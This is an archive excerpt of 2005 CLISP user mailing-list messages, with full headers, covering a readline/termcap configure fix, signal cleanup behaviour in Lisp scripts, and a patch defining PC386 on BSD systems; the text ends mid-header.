clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <434CD26F.5080708@jenty.by> (Yaroslav Kavenchuk's message of "Wed, 12 Oct 2005 12:07:59 +0300") References: <434CD26F.5080708@jenty.by> Mail-Followup-To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ Subject: [clisp-list] Re: readline interface Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Oct 12 06:35:40 2005 X-Original-Date: Wed, 12 Oct 2005 09:33:27 -0400 > * Yaroslav Kavenchuk [2005-10-12 12:07:59 +0300]: > > Sam Steingold wrote: > >> OK, how about now? > > Excuse me, I have some problems with internet (I cannot use CVS). > Update cvs-tarball more often is possible? you do not need CVS - just apply the patch I sent you to whatever you have at the moment. -- Sam Steingold (http://www.podval.org/~sds) running w2k Never underestimate the power of stupid people in large groups. From kavenchuk@jenty.by Wed Oct 12 07:22:29 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EPhUz-0002F0-EH for clisp-list@lists.sourceforge.net; Wed, 12 Oct 2005 07:22:29 -0700 Received: from [194.158.196.38] (helo=mail.jenty.by) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EPhUt-0000nd-NU for clisp-list@lists.sourceforge.net; Wed, 12 Oct 2005 07:22:26 -0700 Received: from [150.0.0.200] (STNT067 [150.0.0.200]) by mail.jenty.by with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2655.55) id 4YCKZ0D6; Wed, 12 Oct 2005 17:22:59 +0300 Message-ID: <434D1C5D.7040209@jenty.by> From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; ru-RU; rv:1.7.8) Gecko/20050511 X-Accept-Language: ru, en, en-us MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net References: In-Reply-To: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: readline interface Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Oct 12 07:22:52 2005 X-Original-Date: Wed, 12 Oct 2005 17:23:25 +0300 Sam Steingold wrote: > you do not need CVS - just apply the patch I sent you to whatever you > have at the moment. > Oops, sorry... hmm... config.log: ... configure:24806: gcc -mno-cygwin -o conftest.exe -g -O2 -I/usr/local/include -L/usr/local conftest.c -ltermcap >&5 C:\gnu\bin\..\lib\gcc\mingw32\3.4.2\..\..\..\..\mingw32\bin\ld.exe: cannot find -ltermcap collect2: ld returned 1 exit status ... why -L/usr/local (not -L/usr/local/lib)? as result: ./makemake --with-dynamic-ffi --win32gcc --with-readline --with-module=dirkey --with-module=pcre --with-module=postgresql --with-module=rawsock --with-module=wildcard --with-module=zlib --with-module=bindings/win32 --with-libpcre-prefix=/usr/local --with-libtermcap-prefix=/usr/local --with-libreadline-prefix=/usr/local --with-libpq-prefix=c:/PostgreSQL/8.0 --srcdir=../src > Makefile makemake: configure failed to detect readline Thanks! -- WBR, Yaroslav Kavenchuk. From sds@gnu.org Wed Oct 12 08:54:52 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EPiwO-0007ot-L0 for clisp-list@lists.sourceforge.net; Wed, 12 Oct 2005 08:54:52 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EPiwL-0004ql-5Z for clisp-list@lists.sourceforge.net; Wed, 12 Oct 2005 08:54:52 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.182]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j9CFsPP1003927; Wed, 12 Oct 2005 11:54:25 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <434D1C5D.7040209@jenty.by> (Yaroslav Kavenchuk's message of "Wed, 12 Oct 2005 17:23:25 +0300") References: <434D1C5D.7040209@jenty.by> Mail-Followup-To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) Message-ID: MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 2.6 (++) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_COMMA BODY: Text interparsed with , 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_EQUAL BODY: Text interparsed with = 0.0 SF_CHICKENPOX_PLUS BODY: Text interparsed with + 0.0 SF_CHICKENPOX_DOLLAR BODY: Text interparsed with $ 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.2 UPPERCASE_25_50 message body is 25-50% uppercase 2.3 LONGWORDS Long string of long words Subject: [clisp-list] Re: readline interface Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Oct 12 08:55:26 2005 X-Original-Date: Wed, 12 Oct 2005 11:53:25 -0400 > * Yaroslav Kavenchuk [2005-10-12 17:23:25 +0300]: > > Sam Steingold wrote: > > > you do not need CVS - just apply the patch I sent you to whatever you >> have at the moment. > > why -L/usr/local (not -L/usr/local/lib)? typo please try the appended patch instead. (or just replace "-L/usr/local " with "-L/usr/local/lib " in configure) -- Sam Steingold (http://www.podval.org/~sds) running w2k An elephant is a mouse with an operating system. Index: configure =================================================================== RCS file: /cvsroot/clisp/clisp/src/configure,v retrieving revision 1.135 diff -u -w -u -b -w -i -B -r1.135 configure --- configure 6 Oct 2005 02:10:27 -0000 1.135 +++ configure 12 Oct 2005 15:53:44 -0000 @@ -315,7 +315,7 @@ # include #endif" -ac_subst_vars='SHELL PATH_SEPARATOR PACKAGE_NAME PACKAGE_TARNAME PACKAGE_VERSION PACKAGE_STRING PACKAGE_BUGREPORT exec_prefix prefix program_transform_name bindir sbindir libexecdir datadir sysconfdir sharedstatedir localstatedir libdir includedir oldincludedir infodir mandir build_alias host_alias target_alias DEFS ECHO_C ECHO_N ECHO_T LIBS CC CFLAGS LDFLAGS CPPFLAGS ac_ct_CC EXEEXT OBJEXT CPP EGREP RANLIB INSTALL INSTALL_PROGRAM INSTALL_DATA CP LN LN_S HLN GROFF DVIPDF COMPRESS CC_GCC GCC_X_NONE CC_CPLUSPLUS CC_NEED_CCPAUX CC_NEED_DEEMA AS_UNDERSCORE build build_cpu build_vendor build_os host host_cpu host_vendor host_os LIBICONV LTLIBICONV SET_MAKE INSTALL_SCRIPT MKINSTALLDIRS USE_NLS MSGFMT GMSGFMT XGETTEXT MSGMERGE INTL_MACOSX_LIBS INTLLIBS LIBINTL LTLIBINTL POSUB LIBSIGSEGV LTLIBSIGSEGV HAVE__BOOL STDBOOL_H HAVE_LONG_64BIT HAVE_LONG_LONG_64BIT STDINT_H HAVE_XMKMF X_INCLUDES X_LIBS GMALLOC ALLOCA LIBTERMCAP PACKAGE LIBOBJS LTLIBOBJS' +ac_subst_vars='SHELL PATH_SEPARATOR PACKAGE_NAME PACKAGE_TARNAME PACKAGE_VERSION PACKAGE_STRING PACKAGE_BUGREPORT exec_prefix prefix program_transform_name bindir sbindir libexecdir datadir sysconfdir sharedstatedir localstatedir libdir includedir oldincludedir infodir mandir build_alias host_alias target_alias DEFS ECHO_C ECHO_N ECHO_T LIBS CC CFLAGS LDFLAGS CPPFLAGS ac_ct_CC EXEEXT OBJEXT CPP EGREP RANLIB INSTALL INSTALL_PROGRAM INSTALL_DATA CP LN LN_S HLN GROFF DVIPDF COMPRESS CC_GCC GCC_X_NONE CC_CPLUSPLUS CC_NEED_CCPAUX CC_NEED_DEEMA AS_UNDERSCORE build build_cpu build_vendor build_os host host_cpu host_vendor host_os LIBICONV LTLIBICONV SET_MAKE INSTALL_SCRIPT MKINSTALLDIRS USE_NLS MSGFMT GMSGFMT XGETTEXT MSGMERGE INTL_MACOSX_LIBS INTLLIBS LIBINTL LTLIBINTL POSUB LIBSIGSEGV LTLIBSIGSEGV HAVE__BOOL STDBOOL_H HAVE_LONG_64BIT HAVE_LONG_LONG_64BIT STDINT_H HAVE_XMKMF X_INCLUDES X_LIBS GMALLOC ALLOCA LIBTERMCAP INCTERMCAP PACKAGE LIBOBJS LTLIBOBJS' ac_subst_files='' # Initialize some variables set by options. @@ -871,6 +871,7 @@ --with-libsigsegv-prefix[=DIR] search for libsigsegv in DIR/include and DIR/lib --without-libsigsegv-prefix don't search for libsigsegv in includedir and libdir --with-x use the X Window System + --with-libtermcap-prefix=DIR search for ncurses and termcap in DIR --with-readline use readline (default is YES, if present) --with-libreadline-prefix[=DIR] search for libreadline in DIR/include and DIR/lib --without-libreadline-prefix don't search for libreadline in includedir and libdir @@ -24707,7 +24708,19 @@ { echo "$as_me:$LINENO: * checks for libraries" >&5 echo "$as_me: * checks for libraries" >&6;} +termcap_prefix="" + +# Check whether --with-libtermcap-prefix or --without-libtermcap-prefix was given. +if test "${with_libtermcap_prefix+set}" = set; then + withval="$with_libtermcap_prefix" + case "$withval" in (/*) termcap_prefix=$withval; ;; esac +fi; +if test x$termcap_prefix != x; then + LDFLAGS_save=$LDFLAGS + LDFLAGS=$LDFLAGS" -L$termcap_prefix" +fi LIBTERMCAP="broken" +INCTERMCAP="" echo "$as_me:$LINENO: checking for library containing tgetent" >&5 echo $ECHO_N "checking for library containing tgetent... $ECHO_C" >&6 if test "${ac_cv_search_tgetent+set}" = set; then @@ -24834,6 +24847,14 @@ LIBTERMCAP="" fi +if test x$termcap_prefix != x; then + LDFLAGS=$LDFLAGS_save + if test $LIBTERMCAP != broken; then + INCTERMCAP=-I$termcap_prefix/include + LIBTERMCAP=-L$termcap_prefix/lib + fi +fi + @@ -35224,6 +35245,7 @@ s,@GMALLOC@,$GMALLOC,;t t s,@ALLOCA@,$ALLOCA,;t t s,@LIBTERMCAP@,$LIBTERMCAP,;t t +s,@INCTERMCAP@,$INCTERMCAP,;t t s,@PACKAGE@,$PACKAGE,;t t s,@LIBOBJS@,$LIBOBJS,;t t s,@LTLIBOBJS@,$LTLIBOBJS,;t t From pjb@informatimago.com Wed Oct 12 10:01:33 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EPjyt-0003fs-Fi for clisp-list@lists.sourceforge.net; Wed, 12 Oct 2005 10:01:31 -0700 Received: from larissa.informatimago.com ([62.93.174.78] ident=postfix) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EPjyr-0003wg-I5 for clisp-list@lists.sourceforge.net; Wed, 12 Oct 2005 10:01:31 -0700 Received: by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 501) id 636F35833D; Wed, 12 Oct 2005 19:01:13 +0200 (CEST) Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id B8EAF582FA; Wed, 12 Oct 2005 19:01:08 +0200 (CEST) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 9966D10F9F6; Wed, 12 Oct 2005 19:01:07 +0200 (CEST) From: Pascal Bourguignon MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <17229.16723.601116.73881@thalassa.informatimago.com> To: Sam Steingold Cc: Subject: Re: [clisp-list] A script receiving a signal doesn't execute cleanup forms! In-Reply-To: <20051011044258.8864110F9F6@thalassa.informatimago.com> References: <20051011044258.8864110F9F6@thalassa.informatimago.com> X-Mailer: VM 7.17 under Emacs 22.0.50.1 Reply-To: Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en X-Spam-Checker-Version: SpamAssassin 3.0.1 (2004-10-22) on larissa.informatimago.com X-Spam-Status: No, score=-2.6 required=5.0 tests=BAYES_00,UPPERCASE_25_50 autolearn=ham version=3.0.1 X-Spam-Level: X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.2 UPPERCASE_25_50 message body is 25-50% uppercase -0.1 AWL AWL: From: address is in the auto white-list Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Oct 12 10:02:54 2005 X-Original-Date: Wed, 12 Oct 2005 19:01:07 +0200 Pascal Bourguignon writes: > > $ cd /tmp > [pjb@thalassa tmp]$ cat cs > #!/usr/local/bin/clisp -ansi -q -norc -K full > (unwind-protect (sleep 60) > (format t "Clean-up!") > (finish-output)) Thank you for your fast patch. Here are the positive results I get now: On Linux 2.4.26/ix86, since the lisp script will write output, it suspends itself until it gets back the terminal. On MacOSX 10.3.9/ppc7450, it works as I wanted. (in both cases, thru a ssh session, if that matter for the terminal handling). Perhaps the difference comes from the presence of absence of readline? Linux: [pjb@thalassa tmp]$ ssh localhost 19991: socket: Address family not supported by protocol pjb@localhost's password: Last login: Tue Oct 4 11:05:25 2005 from intergruas.easynet.es Have a lot of fun... [pjb@thalassa pjb]$ cd /tmp/ [pjb@thalassa tmp]$ ./cs & p=$! [1] 20060 [pjb@thalassa tmp]$ kill $p [1]+ Stopped ./cs [pjb@thalassa tmp]$ fg ./cs Exiting on signal 15 Clean-up! [pjb@thalassa tmp]$ uname -a Linux thalassa 2.4.26 #18 Fri Dec 31 15:47:02 CET 2004 i686 unknown unknown GNU/Linux [pjb@thalassa tmp]$ /usr/local/bin/clisp --version GNU CLISP 2.35 (2005-08-29) (built 3338094313) (memory 3338094801) Software: GNU C 3.3 20030226 (prerelease) (SuSE Linux) gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -Wmissing-declarations -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -I. -x none libcharset.a libavcall.a libcallback.a -lreadline -lncurses -ldl -lsigsegv -L/usr/X11R6/lib -lX11 SAFETY=0 HEAPCODES LINUX_NOEXEC_HEAPCODES GENERATIONAL_GC SPVW_BLOCKS SPVW_MIXED TRIVIALMAP_MEMORY libsigsegv 2.2 Features: (READLINE REGEXP SYSCALLS I18N LOOP COMPILER CLOS MOP CLISP ANSI-CL COMMON-LISP LISP=CL INTERPRETER SOCKETS GENERIC-STREAMS LOGICAL-PATHNAMES SCREEN FFI GETTEXT UNICODE BASE-CHAR=CHARACTER PC386 UNIX) C Modules: (clisp i18n syscalls regexp readline) Installation directory: /usr/local/languages/clisp-2.35/lib/clisp/ User language: ENGLISH Machine: I686 (I686) thalassa.informatimago.com [62.93.174.79] [pjb@thalassa tmp]$ MacOSX: guardacasa:/tmp pascal$ ./cs & p=$! [1] 4202 guardacasa:/tmp pascal$ kill $p guardacasa:/tmp pascal$ Exiting on signal 15 Clean-up! [1]+ Done ./cs guardacasa:/tmp pascal$ uname -a Darwin guardacasa.local 7.9.0 Darwin Kernel Version 7.9.0: Wed Mar 30 20:11:17 PST 2005; root:xnu/xnu-517.12.7.obj~1/RELEASE_PPC Power Macintosh powerpc guardacasa:/tmp pascal$ /usr/local/bin/clisp --version GNU CLISP 2.35 (2005-08-29) (built 3338120940) (memory 3338122315) Software: GNU C 3.3 20030304 (Apple Computer, Inc. build 1495) gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -Wmissing-declarations -Wno-sign-compare -O2 -DUNIX_BINARY_DISTRIB -DUNICODE -DDYNAMIC_FFI -DNO_GETTEXT -I. -L/usr/local/lib -x none libcharset.a libavcall.a libcallback.a -lncurses -liconv -L/usr/local/lib -lsigsegv -lc -L/usr/X11R6/lib -lX11 SAFETY=0 HEAPCODES STANDARD_HEAPCODES GENERATIONAL_GC SPVW_BLOCKS SPVW_MIXED TRIVIALMAP_MEMORY libsigsegv 2.2 libiconv 1.9 Features: (REGEXP SYSCALLS I18N LOOP COMPILER CLOS MOP CLISP ANSI-CL COMMON-LISP LISP=CL INTERPRETER SOCKETS GENERIC-STREAMS LOGICAL-PATHNAMES SCREEN FFI UNICODE BASE-CHAR=CHARACTER UNIX MACOS) C Modules: (clisp i18n syscalls regexp) Installation directory: /usr/local/languages/clisp-2.35/lib/clisp/ User language: ENGLISH Machine: POWER MACINTOSH (POWER MACINTOSH) guardacasa.local [127.0.0.1] guardacasa:/tmp pascal$ -- __Pascal Bourguignon__ http://www.informatimago.com/ Until real software engineering is developed, the next best practice is to develop with a dynamic system that has extreme late binding in all aspects. The first system to really do this in an important way is Lisp. -- Alan Kay From sds@gnu.org Wed Oct 12 10:22:26 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EPkJ5-0004xT-Bg for clisp-list@lists.sourceforge.net; Wed, 12 Oct 2005 10:22:23 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EPkJ0-0006Vk-Gi for clisp-list@lists.sourceforge.net; Wed, 12 Oct 2005 10:22:20 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.182]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j9CHLk4A019294; Wed, 12 Oct 2005 13:21:56 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <17229.16723.601116.73881@thalassa.informatimago.com> (Pascal Bourguignon's message of "Wed, 12 Oct 2005 19:01:07 +0200") References: <20051011044258.8864110F9F6@thalassa.informatimago.com> <17229.16723.601116.73881@thalassa.informatimago.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: A script receiving a signal doesn't execute cleanup forms! Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Oct 12 10:23:02 2005 X-Original-Date: Wed, 12 Oct 2005 13:20:46 -0400 > * Pascal Bourguignon [2005-10-12 19:01:07 +0200]: > > On Linux 2.4.26/ix86, since the lisp script will write output, it suspends > itself until it gets back the terminal. > > On MacOSX 10.3.9/ppc7450, it works as I wanted. > > (in both cases, thru a ssh session, if that matter for the terminal handling). > Perhaps the difference comes from the presence of absence of readline? maybe - please try rebuilding --without-readline. -- Sam Steingold (http://www.podval.org/~sds) running w2k Booze is the answer. I can't remember the question. From tkb@tkb.mpl.com Wed Oct 12 12:20:37 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EPm9O-0003Xm-65 for clisp-list@lists.sourceforge.net; Wed, 12 Oct 2005 12:20:30 -0700 Received: from tkb.mpl.com ([64.181.9.74]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1EPm9N-00019R-KN for clisp-list@lists.sourceforge.net; Wed, 12 Oct 2005 12:20:30 -0700 Received: from tkb.mpl.com (tkb.mpl.com [64.181.9.74]) by tkb.mpl.com (8.13.1/8.13.1) with ESMTP id j9CJKOtL099268; Wed, 12 Oct 2005 15:20:25 -0400 (EDT) (envelope-from tkb@tkb.mpl.com) From: "T. Kurt Bond" MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <17229.25080.518982.883997@tkb.mpl.com> To: clisp-list@lists.sourceforge.net X-Mailer: VM 7.19 under Emacs 21.3.1 X-Greylist: Sender DNS name whitelisted, not delayed by milter-greylist-2.0 (tkb.mpl.com [64.181.9.74]); Wed, 12 Oct 2005 15:20:25 -0400 (EDT) X-Spam-Score: 0.3 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.3 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] :PC386 not in *FEATURES* on i386 FreeBSD, NetBSD, OpenBSD? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Oct 12 12:21:18 2005 X-Original-Date: Wed, 12 Oct 2005 15:20:24 -0400 I noticed that :PC386 not in *FEATURES* in clisp 2.35 installed from the current FreeBSD ports on i386 FreeBSD 4.11. Looking at src/lispbibl.d shows that it is defined for Linux and Cygwin, but not for FreeBSD, NetBSD, or OpenBSD. Shouldn't it be defined for the BSD OSes on x386 architectures? --- src/lispbibl.d.orig Sat Oct 8 13:49:34 2005 +++ src/lispbibl.d Sat Oct 8 13:52:22 2005 @@ -122,7 +122,7 @@ #if (defined(sun) && defined(unix) && defined(sun386)) #define SUN386 #endif - #if (defined(unix) && (defined(linux) || defined(__CYGWIN32__)) && (defined(i386) || defined(__i386__) || defined(__x86_64__) || defined(__amd64__))) + #if (defined(unix) && (defined(linux) || defined(__CYGWIN32__) || defined(__FreeBSD__) || defined (__NetBSD__) || defined (__OpenBSD__)) && (defined(i386) || defined(__i386__) || defined(__x86_64__) || defined(__amd64__))) #define PC386 #endif #if (defined(sun) && defined(unix) && defined(mc68020)) -- T. Kurt Bond, tkb@tkb.mpl.com From sds@gnu.org Wed Oct 12 12:40:29 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EPmSg-0004tG-TW for clisp-list@lists.sourceforge.net; Wed, 12 Oct 2005 12:40:26 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EPmSV-0005qU-Fa for clisp-list@lists.sourceforge.net; Wed, 12 Oct 2005 12:40:23 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.182]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j9CJdidV012559; Wed, 12 Oct 2005 15:39:44 -0400 (EDT) To: tkb@tkb.mpl.com (T. Kurt Bond) Cc: clisp-list@lists.sourceforge.net Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <86mzlesr4x.fsf@tkb.mpl.com> (T. Kurt Bond's message of "12 Oct 2005 11:15:42 -0400") References: <86mzlesr4x.fsf@tkb.mpl.com> Mail-Followup-To: tkb@tkb.mpl.com (T. Kurt Bond), clisp-list@lists.sourceforge.net Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' Subject: [clisp-list] Re: :PC386 not in *FEATURES* on i386 FreeBSD, NetBSD, OpenBSD? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Oct 12 12:41:17 2005 X-Original-Date: Wed, 12 Oct 2005 15:38:45 -0400 > * T. Kurt Bond [2005-10-12 11:15:42 -0400]: > > I noticed that :PC386 was not in *FEATURES* in CLISP 2.35 installed > from the FreeBSD ports system on FreeBSD 4.11 i386. Shouldn't it be > defined for FreeBSD, NetBSD, and OpenBSD on i386 systems? good idea. thanks. -- Sam Steingold (http://www.podval.org/~sds) running w2k .sigs are like your face - rarely seen by you and uglier than you think From pjb@informatimago.com Wed Oct 12 13:02:38 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EPmo6-0006RU-B4 for clisp-list@lists.sourceforge.net; Wed, 12 Oct 2005 13:02:34 -0700 Received: from larissa.informatimago.com ([62.93.174.78] ident=postfix) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EPmnv-0004YT-Hq for clisp-list@lists.sourceforge.net; Wed, 12 Oct 2005 13:02:34 -0700 Received: by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 501) id 495135833D; Wed, 12 Oct 2005 22:01:59 +0200 (CEST) Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 842DB582FA; Wed, 12 Oct 2005 22:01:54 +0200 (CEST) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 4FF0910F9F6; Wed, 12 Oct 2005 22:01:53 +0200 (CEST) From: Pascal Bourguignon MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <17229.27569.293724.504903@thalassa.informatimago.com> To: clisp-list@lists.sourceforge.net, Bruno Haible Subject: Re: [clisp-list] Re: trampoline_r doesn't work on MacOSX 10.3.9 on ppc750 In-Reply-To: <17173.65346.901329.1988@thalassa.informatimago.com> References: <20050831052046.6541F10F9F6@thalassa.informatimago.com> <17173.65346.901329.1988@thalassa.informatimago.com> X-Mailer: VM 7.17 under Emacs 22.0.50.1 Reply-To: Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: 